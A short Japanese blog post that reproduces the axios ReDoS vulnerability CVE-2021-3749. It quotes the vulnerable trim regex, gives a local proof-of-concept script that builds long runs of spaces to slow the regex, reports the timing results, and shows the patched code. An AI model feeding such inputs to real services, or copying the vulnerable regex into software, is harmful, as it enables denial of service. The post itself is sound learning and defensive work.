ReDosについて(OWASP)
Regular expression Denial of Service - ReDoS | OWASP Foundation
Regular expression Denial of Service - ReDoS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of...
脆弱性を再現してみる
axiosのCVE-2021-3749は以下の正規表現が原因で発生していた。
入力に多大な空白を含む文字列を渡すと処理が遅くなる。
return str.replace(/^\s*/, '').replace(/\s*$/, '');
axios/utils.js at 5bc9ea24dda14e74def0b8ae9cdb3fa1a0c77773 · axios/axios
Promise based HTTP client for the browser and node.js - axios/utils.js at 5bc9ea24dda14e74def0b8ae9cdb3fa1a0c77773 · axios/axios
ローカルの検証用として、自分自身に攻撃する検証コードを用意した(huntrにて参考)
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
function trim(str) {
return str.replace(/^\s*/, '').replace(/\s*$/, '');
}
var time = Date.now();
trim(build_blank(process.argv[2]));
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)
検証コードに対して、文字列長を徐々に大きくしていった結果。
1万を超えたあたりから遅くなり始めていて、3万を超えると体感でも遅いと感じるくらいになる。

正規表現の書き方によっては処理に負担がかかることが確認できた。
修正後の挙動
修正後のコードは以下のようになっていた。
axios/utils.js at main · axios/axios
Promise based HTTP client for the browser and node.js - axios/utils.js at main · axios/axios
return str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
このコードを修正して検証コードを実行してみた。

すっかり処理に負荷がかからないようになっていた。
感想
正規表現の書き方でここまで処理に差が出るんだなぁ
次やってみたいこと
様々などで使われている正規表現は問題ないのだろうか?の調査
コメント